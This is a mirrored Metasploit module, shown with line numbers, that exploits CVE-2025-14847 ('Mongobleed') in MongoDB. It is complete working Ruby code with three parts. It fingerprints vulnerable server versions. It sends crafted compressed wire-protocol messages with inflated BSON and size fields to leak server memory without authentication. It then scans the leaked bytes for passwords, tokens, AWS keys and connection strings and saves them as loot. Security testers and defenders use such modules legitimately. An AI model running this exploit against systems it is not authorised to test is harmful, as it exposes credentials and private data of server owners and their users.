Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/scanner/mongodb/cve_2025_14847_mongobleed.rb
28788 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::Tcp
8
include Msf::Auxiliary::Scanner
9
include Msf::Auxiliary::Report
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'MongoDB Memory Disclosure (CVE-2025-14847) - Mongobleed',
16
'Description' => %q{
17
This module exploits a memory disclosure vulnerability in MongoDB's zlib
18
decompression handling (CVE-2025-14847). By sending crafted OP_COMPRESSED
19
messages with inflated BSON document lengths, the server reads beyond the
20
decompressed buffer and returns leaked memory contents in error messages.
21
22
The vulnerability allows unauthenticated remote attackers to leak server
23
memory which may contain sensitive information such as credentials, session
24
tokens, encryption keys, or other application data.
25
},
26
'Author' => [
27
'Alexander Hagenah', # Metasploit module (x.com/xaitax)
28
'Diego Ledda', # Co-author & review (x.com/jbx81)
29
'Joe Desimone' # Original discovery and PoC (x.com/dez_)
30
],
31
'License' => MSF_LICENSE,
32
'References' => [
33
['CVE', '2025-14847'],
34
['URL', 'https://www.wiz.io/blog/mongobleed-cve-2025-14847-exploited-in-the-wild-mongodb'],
35
['URL', 'https://jira.mongodb.org/browse/SERVER-115508'],
36
['URL', 'https://x.com/dez_']
37
],
38
'DisclosureDate' => '2025-12-19',
39
'DefaultOptions' => {
40
'RPORT' => 27017
41
},
42
'Notes' => {
43
'Stability' => [CRASH_SAFE],
44
'SideEffects' => [IOC_IN_LOGS],
45
'Reliability' => [REPEATABLE_SESSION]
46
}
47
)
48
)
49
50
register_options(
51
[
52
Opt::RPORT(27017),
53
OptInt.new('MIN_OFFSET', [true, 'Minimum BSON document length offset', 20]),
54
OptInt.new('MAX_OFFSET', [true, 'Maximum BSON document length offset', 8192]),
55
OptInt.new('STEP_SIZE', [true, 'Offset increment (higher = faster, less thorough)', 1]),
56
OptInt.new('BUFFER_PADDING', [true, 'Padding added to buffer size claim', 500]),
57
OptInt.new('LEAK_THRESHOLD', [true, 'Minimum bytes to report as interesting leak', 10]),
58
OptBool.new('QUICK_SCAN', [true, 'Quick scan mode - sample key offsets only', false]),
59
OptInt.new('REPEAT', [true, 'Number of scan passes (more passes = more data)', 1])
60
]
61
)
62
63
register_advanced_options(
64
[
65
OptBool.new('SHOW_ALL_LEAKS', [true, 'Show all leaked fragments, not just large ones', false]),
66
OptBool.new('SHOW_HEX', [true, 'Show hexdump of leaked data', false]),
67
OptString.new('SECRETS_PATTERN', [true, 'Regex pattern to detect sensitive data', 'password|secret|key|token|admin|AKIA|Bearer|mongodb://|mongo:|conn|auth']),
68
OptBool.new('FORCE_EXPLOIT', [true, 'Attempt exploitation even if version check indicates not vulnerable', false]),
69
OptInt.new('PROGRESS_INTERVAL', [true, 'Show progress every N offsets (0 to disable)', 500])
70
]
71
)
72
end
73
74
# MongoDB Wire Protocol constants
75
OP_QUERY = 2004 # Legacy query opcode
76
OP_REPLY = 1 # Legacy reply opcode
77
OP_COMPRESSED = 2012
78
OP_MSG = 2013
79
COMPRESSOR_ZLIB = 2
80
81
def check_vulnerable_version(version_str)
82
# Parse version for comparison
83
version_match = version_str.match(/^(\d+\.\d+\.\d+)/)
84
return :unknown unless version_match
85
86
mongodb_version = Rex::Version.new(version_match[1])
87
88
# Check against vulnerable version ranges per MongoDB JIRA SERVER-115508
89
if mongodb_version.between?(Rex::Version.new('3.6.0'), Rex::Version.new('3.6.99')) ||
90
mongodb_version.between?(Rex::Version.new('4.0.0'), Rex::Version.new('4.0.99')) ||
91
mongodb_version.between?(Rex::Version.new('4.2.0'), Rex::Version.new('4.2.99'))
92
return :vulnerable_eol
93
elsif mongodb_version.between?(Rex::Version.new('4.4.0'), Rex::Version.new('4.4.29')) ||
94
mongodb_version.between?(Rex::Version.new('5.0.0'), Rex::Version.new('5.0.31')) ||
95
mongodb_version.between?(Rex::Version.new('6.0.0'), Rex::Version.new('6.0.26')) ||
96
mongodb_version.between?(Rex::Version.new('7.0.0'), Rex::Version.new('7.0.27')) ||
97
mongodb_version.between?(Rex::Version.new('8.0.0'), Rex::Version.new('8.0.16')) ||
98
mongodb_version.between?(Rex::Version.new('8.2.0'), Rex::Version.new('8.2.2'))
99
return :vulnerable
100
elsif (mongodb_version >= Rex::Version.new('4.4.30') && mongodb_version < Rex::Version.new('5.0.0')) ||
101
(mongodb_version >= Rex::Version.new('5.0.32') && mongodb_version < Rex::Version.new('6.0.0')) ||
102
(mongodb_version >= Rex::Version.new('6.0.27') && mongodb_version < Rex::Version.new('7.0.0')) ||
103
(mongodb_version >= Rex::Version.new('7.0.28') && mongodb_version < Rex::Version.new('8.0.0')) ||
104
(mongodb_version >= Rex::Version.new('8.0.17') && mongodb_version < Rex::Version.new('8.2.0')) ||
105
(mongodb_version >= Rex::Version.new('8.2.3'))
106
return :patched
107
end
108
109
:unknown
110
end
111
112
def run_host(ip)
113
# Version detection and vulnerability check
114
version_info = get_mongodb_version
115
116
if version_info
117
version_str = version_info[:version]
118
print_status("MongoDB version: #{version_str}")
119
120
vuln_status = check_vulnerable_version(version_str)
121
case vuln_status
122
when :vulnerable_eol
123
print_good("Version #{version_str} is VULNERABLE (EOL, no fix available)")
124
when :vulnerable
125
print_good("Version #{version_str} is VULNERABLE to CVE-2025-14847")
126
when :patched
127
print_warning("Version #{version_str} appears to be PATCHED")
128
unless datastore['FORCE_EXPLOIT']
129
print_status('Set FORCE_EXPLOIT=true to attempt exploitation anyway')
130
return
131
end
132
print_status('FORCE_EXPLOIT enabled, continuing...')
133
when :unknown
134
print_warning("Version #{version_str} - vulnerability status unknown")
135
print_status('Proceeding with exploitation attempt...')
136
end
137
else
138
print_warning('Could not determine MongoDB version')
139
print_status('Proceeding with exploitation attempt...')
140
end
141
142
# Perform the memory leak exploitation
143
exploit_memory_leak(ip, version_info)
144
end
145
146
def get_mongodb_version
147
connect
148
149
# Build buildInfo command using legacy OP_QUERY
150
# This works without authentication on most MongoDB configurations
151
response = send_command('admin', { 'buildInfo' => 1 })
152
disconnect
153
154
return nil if response.nil?
155
156
# Parse BSON response to extract version
157
parse_build_info(response)
158
rescue ::Rex::ConnectionError, ::Errno::ECONNRESET => e
159
vprint_error("Connection error during version check: #{e.message}")
160
nil
161
rescue StandardError => e
162
vprint_error("Error getting MongoDB version: #{e.message}")
163
nil
164
ensure
165
begin
166
disconnect
167
rescue StandardError
168
nil
169
end
170
end
171
172
def send_command(database, command)
173
# Build BSON document for command
174
bson_doc = build_bson_document(command)
175
176
# Build OP_QUERY packet
177
# flags (4 bytes) + fullCollectionName + numberToSkip (4) + numberToReturn (4) + query
178
collection_name = "#{database}.$cmd\x00"
179
180
query_body = [0].pack('V') # flags
181
query_body << collection_name # fullCollectionName (null-terminated)
182
query_body << [0].pack('V') # numberToSkip
183
query_body << [1].pack('V') # numberToReturn
184
query_body << bson_doc # query document
185
186
# Build header
187
request_id = rand(0xFFFFFFFF)
188
message_length = 16 + query_body.length
189
header = [message_length, request_id, 0, OP_QUERY].pack('VVVV')
190
191
# Send and receive
192
sock.put(header + query_body)
193
194
# Read response
195
response_header = sock.get_once(16, 5)
196
return nil if response_header.nil? || response_header.length < 16
197
198
msg_len, _req_id, _resp_to, opcode = response_header.unpack('VVVV')
199
return nil unless opcode == OP_REPLY
200
201
# Read rest of response
202
remaining = msg_len - 16
203
return nil if remaining <= 0
204
205
response_body = sock.get_once(remaining, 5)
206
return nil if response_body.nil?
207
208
# OP_REPLY structure:
209
# responseFlags (4) + cursorID (8) + startingFrom (4) + numberReturned (4) + documents
210
return nil if response_body.length < 20
211
212
response_body[20..] # Return documents portion
213
end
214
215
def build_bson_document(hash)
216
doc = ''.b
217
218
hash.each do |key, value|
219
case value
220
when Integer
221
if value.between?(-2_147_483_648, 2_147_483_647)
222
doc << "\x10" # int32 type
223
doc << "#{key}\x00" # key (cstring)
224
doc << [value].pack('V') # value
225
else
226
doc << "\x12" # int64 type
227
doc << "#{key}\x00"
228
doc << [value].pack('q<')
229
end
230
when Float
231
doc << "\x01" # double type
232
doc << "#{key}\x00"
233
doc << [value].pack('E')
234
when String
235
doc << "\x02" # string type
236
doc << "#{key}\x00"
237
doc << [value.length + 1].pack('V') # string length (including null)
238
doc << "#{value}\x00"
239
when TrueClass, FalseClass
240
doc << "\x08" # boolean type
241
doc << "#{key}\x00"
242
doc << (value ? "\x01" : "\x00")
243
end
244
end
245
246
doc << "\x00" # Document terminator
247
[doc.length + 4].pack('V') + doc # Prepend document length
248
end
249
250
def parse_build_info(bson_data)
251
return nil if bson_data.nil? || bson_data.length < 5
252
253
result = {}
254
255
# Parse BSON document
256
doc_len = bson_data[0, 4].unpack1('V')
257
return nil if doc_len > bson_data.length
258
259
pos = 4
260
while pos < doc_len - 1
261
type = bson_data[pos].ord
262
break if type == 0
263
264
pos += 1
265
266
# Read key (cstring)
267
key_end = bson_data.index("\x00", pos)
268
break if key_end.nil?
269
270
key = bson_data[pos...key_end]
271
pos = key_end + 1
272
273
case type
274
when 0x02 # String
275
str_len = bson_data[pos, 4].unpack1('V')
276
value = bson_data[pos + 4, str_len - 1]
277
pos += 4 + str_len
278
279
case key
280
when 'version'
281
result[:version] = value
282
when 'gitVersion'
283
result[:git_version] = value
284
when 'sysInfo'
285
result[:sys_info] = value
286
end
287
when 0x03 # Embedded document
288
sub_doc_len = bson_data[pos, 4].unpack1('V')
289
if key == 'buildEnvironment'
290
# Could parse this for more details
291
end
292
pos += sub_doc_len
293
when 0x10 # int32
294
pos += 4
295
when 0x12 # int64
296
pos += 8
297
when 0x01 # double
298
pos += 8
299
when 0x08 # boolean
300
pos += 1
301
when 0x04 # array
302
arr_len = bson_data[pos, 4].unpack1('V')
303
pos += arr_len
304
else
305
# Unknown type, try to continue
306
break
307
end
308
end
309
310
# Try alternate method if version not found (using hello/isMaster)
311
result[:version] ||= try_hello_command
312
313
result[:version] ? result : nil
314
end
315
316
def try_hello_command
317
begin
318
response = send_command('admin', { 'hello' => 1 })
319
return nil if response.nil?
320
321
# Look for version string in response
322
if response =~ /(\d+\.\d+\.\d+)/
323
return ::Regexp.last_match(1)
324
end
325
rescue StandardError
326
nil
327
end
328
nil
329
end
330
331
def exploit_memory_leak(ip, version_info)
332
all_leaked = ''.b
333
unique_leaks = Set.new
334
secrets_found = []
335
336
# Determine offsets to scan
337
offsets = generate_scan_offsets
338
total_offsets = offsets.size
339
repeat_count = datastore['REPEAT']
340
341
if repeat_count > 1
342
print_status("Running #{repeat_count} scan passes to maximize data collection...")
343
end
344
345
# Track overall progress
346
progress_interval = datastore['PROGRESS_INTERVAL']
347
Time.now
348
349
1.upto(repeat_count) do |pass|
350
if repeat_count > 1
351
print_status("=== Pass #{pass}/#{repeat_count} ===")
352
end
353
354
print_status("Scanning #{total_offsets} offsets (#{datastore['MIN_OFFSET']}-#{datastore['MAX_OFFSET']}, step=#{datastore['STEP_SIZE']}#{datastore['QUICK_SCAN'] ? ', quick mode' : ''})")
355
356
start_time = Time.now
357
scanned = 0
358
pass_leaks = 0
359
360
offsets.each do |doc_len|
361
# Progress reporting
362
scanned += 1
363
if progress_interval > 0 && (scanned % progress_interval == 0)
364
elapsed = Time.now - start_time
365
rate = scanned / elapsed
366
remaining = ((total_offsets - scanned) / rate).round
367
print_status("Progress: #{scanned}/#{total_offsets} (#{(scanned * 100.0 / total_offsets).round(1)}%) - #{unique_leaks.size} leaks found - ETA: #{remaining}s")
368
end
369
370
response = send_probe(doc_len, doc_len + datastore['BUFFER_PADDING'])
371
next if response.nil? || response.empty?
372
373
leaks = extract_leaks(response)
374
leaks.each do |data|
375
next if unique_leaks.include?(data)
376
377
unique_leaks.add(data)
378
all_leaked << data
379
pass_leaks += 1
380
381
# Check for interesting patterns
382
check_secrets(data, doc_len, secrets_found)
383
384
# Report large leaks or all if configured
385
next unless data.length > datastore['LEAK_THRESHOLD'] || datastore['SHOW_ALL_LEAKS']
386
387
preview = data.gsub(/[^[:print:]]/, '.')[0, 80]
388
print_good("offset=#{doc_len.to_s.ljust(4)} len=#{data.length.to_s.ljust(4)}: #{preview}")
389
390
# Show hex dump if enabled
391
if datastore['SHOW_HEX'] && !data.empty?
392
print_hexdump(data)
393
end
394
end
395
rescue ::Rex::ConnectionError, ::Errno::ECONNRESET => e
396
vprint_error("Connection error at offset #{doc_len}: #{e.message}")
397
next
398
rescue ::Timeout::Error
399
vprint_error("Timeout at offset #{doc_len}")
400
next
401
end
402
403
# Pass summary
404
if repeat_count > 1
405
print_status("Pass #{pass} complete: #{pass_leaks} new leaks (#{unique_leaks.size} total unique)")
406
end
407
end
408
409
# Overall summary and loot storage
410
if !all_leaked.empty?
411
print_line
412
print_good("Total leaked: #{all_leaked.length} bytes")
413
print_good("Unique fragments: #{unique_leaks.size}")
414
415
# Store leaked data as loot
416
loot_info = 'MongoDB Memory Disclosure (CVE-2025-14847)'
417
loot_info += " - Version: #{version_info[:version]}" if version_info&.dig(:version)
418
419
path = store_loot(
420
'mongodb.memory_leak',
421
'application/octet-stream',
422
ip,
423
all_leaked,
424
'mongobleed.bin',
425
loot_info
426
)
427
print_good("Leaked data saved to: #{path}")
428
429
# Report found secrets
430
if secrets_found.any?
431
print_line
432
print_warning('Potential secrets detected:')
433
secrets_found.uniq.each do |secret|
434
print_warning(" - #{secret}")
435
end
436
end
437
438
# Report the vulnerability
439
vuln_info = "Leaked #{all_leaked.length} bytes of server memory"
440
vuln_info += " (MongoDB #{version_info[:version]})" if version_info&.dig(:version)
441
442
report_vuln(
443
host: ip,
444
port: rport,
445
proto: 'tcp',
446
name: name,
447
refs: references,
448
info: vuln_info
449
)
450
else
451
print_status("No data leaked from #{ip}:#{rport}")
452
end
453
end
454
455
def send_probe(doc_len, buffer_size)
456
# Build minimal BSON content - we lie about total length to trigger the bug
457
# int32 field "a" with value 1
458
bson_content = "\x10a\x00\x01\x00\x00\x00".b
459
460
# BSON document with inflated length (this is the key to the exploit)
461
bson = [doc_len].pack('V') + bson_content
462
463
# Wrap in OP_MSG structure
464
# flags (4 bytes) + section kind (1 byte) + BSON
465
op_msg = [0].pack('V') + "\x00".b + bson
466
467
# Compress the OP_MSG payload
468
compressed_data = Zlib::Deflate.deflate(op_msg)
469
470
# Build OP_COMPRESSED payload
471
# originalOpcode (4 bytes) + uncompressedSize (4 bytes) + compressorId (1 byte) + compressedData
472
payload = [OP_MSG].pack('V')
473
payload << [buffer_size].pack('V') # Claimed uncompressed size (inflated)
474
payload << [COMPRESSOR_ZLIB].pack('C')
475
payload << compressed_data
476
477
# MongoDB wire protocol header
478
# messageLength (4 bytes) + requestID (4 bytes) + responseTo (4 bytes) + opCode (4 bytes)
479
message_length = 16 + payload.length
480
header = [message_length, 1, 0, OP_COMPRESSED].pack('VVVV')
481
482
# Send and receive with proper cleanup
483
response = nil
484
begin
485
connect
486
sock.put(header + payload)
487
response = recv_mongo_response
488
ensure
489
begin
490
disconnect
491
rescue StandardError
492
nil
493
end
494
end
495
496
response
497
end
498
499
def recv_mongo_response
500
# Read header first (16 bytes minimum)
501
header = sock.get_once(16, 2)
502
return nil if header.nil? || header.length < 4
503
504
msg_len = header.unpack1('V')
505
return header if msg_len <= 16
506
507
# Read remaining data
508
remaining = msg_len - header.length
509
if remaining > 0
510
data = sock.get_once(remaining, 2)
511
return header if data.nil?
512
513
header + data
514
else
515
header
516
end
517
rescue ::Timeout::Error, ::EOFError
518
nil
519
end
520
521
def extract_leaks(response)
522
return [] if response.nil? || response.length < 25
523
524
leaks = []
525
526
begin
527
msg_len = response.unpack1('V')
528
return [] if msg_len > response.length
529
530
# Check if response is compressed (opcode at offset 12)
531
opcode = response[12, 4].unpack1('V')
532
533
if opcode == OP_COMPRESSED
534
# Decompress: skip header (16) + originalOpcode (4) + uncompressedSize (4) + compressorId (1) = 25 bytes
535
raw = Zlib::Inflate.inflate(response[25, msg_len - 25])
536
else
537
# Uncompressed OP_MSG - skip header
538
raw = response[16, msg_len - 16]
539
end
540
541
return [] if raw.nil?
542
543
# Extract field names from BSON parsing errors
544
# These contain memory leaked as "field names"
545
raw.scan(/field name '([^']*)'/) do |match|
546
data = match[0]
547
# Filter out known legitimate field names
548
next if data.nil? || data.empty?
549
next if ['?', 'a', '$db', 'ping', 'ok', 'errmsg', 'code', 'codeName'].include?(data)
550
551
leaks << data
552
end
553
554
# Extract type bytes from unrecognized BSON type errors
555
raw.scan(/(?:unrecognized|unknown|invalid)\s+(?:BSON\s+)?type[:\s]+(\d+)/i) do |match|
556
type_byte = match[0].to_i & 0xFF
557
leaks << type_byte.chr if type_byte > 0
558
end
559
rescue Zlib::Error => e
560
vprint_error("Decompression error: #{e.message}")
561
rescue StandardError => e
562
vprint_error("Error extracting leaks: #{e.message}")
563
end
564
565
leaks
566
end
567
568
def check_secrets(data, offset, secrets_found)
569
pattern = Regexp.new(datastore['SECRETS_PATTERN'], Regexp::IGNORECASE)
570
return unless data =~ pattern
571
572
match = ::Regexp.last_match[0]
573
match_pos = ::Regexp.last_match.begin(0)
574
575
# Extract context around the match (20 chars before and after)
576
context_start = [match_pos - 20, 0].max
577
context_end = [match_pos + match.length + 20, data.length].min
578
context = data[context_start...context_end].gsub(/[^[:print:]]/, '.')
579
580
# Highlight position in context
581
secret_info = "Pattern '#{match}' at offset #{offset}"
582
secret_info += " (pos #{match_pos}): ...#{context}..."
583
584
secrets_found << secret_info
585
print_warning("Secret pattern detected at offset #{offset}: '#{match}' in context: ...#{context}...")
586
end
587
588
def generate_scan_offsets
589
min_off = datastore['MIN_OFFSET']
590
max_off = datastore['MAX_OFFSET']
591
step = datastore['STEP_SIZE']
592
593
if datastore['QUICK_SCAN']
594
# Quick scan mode: sample key offsets that typically yield results
595
# Based on common BSON document sizes and memory alignment
596
quick_offsets = []
597
598
# Small offsets (header area)
599
quick_offsets += (20..100).step(5).to_a
600
601
# Power of 2 boundaries (common allocation sizes)
602
[128, 256, 512, 1024, 2048, 4096, 8192].each do |boundary|
603
next if boundary < min_off || boundary > max_off
604
605
# Sample around boundaries
606
(-10..10).step(2).each do |delta|
607
off = boundary + delta
608
quick_offsets << off if off >= min_off && off <= max_off
609
end
610
end
611
612
# Sample every 128 bytes for broader coverage
613
quick_offsets += (min_off..max_off).step(128).to_a
614
615
quick_offsets.uniq.sort.select { |o| o >= min_off && o <= max_off }
616
else
617
# Normal scan with step size
618
(min_off..max_off).step(step).to_a
619
end
620
end
621
622
def print_hexdump(data)
623
return if data.nil? || data.empty?
624
625
# Print hexdump in classic format (16 bytes per line)
626
offset = 0
627
data.bytes.each_slice(16) do |chunk|
628
hex_part = chunk.map { |b| '%02x' % b }.join(' ')
629
ascii_part = chunk.map { |b| (b >= 32 && b < 127) ? b.chr : '.' }.join
630
631
# Pad hex part if less than 16 bytes
632
hex_part = hex_part.ljust(47)
633
634
print_line(" #{('%04x' % offset)} #{hex_part} |#{ascii_part}|")
635
offset += 16
636
637
# Limit output to avoid flooding console
638
break if offset >= 256
639
end
640
print_line(' ...') if data.length > 256
641
end
642
end
643
644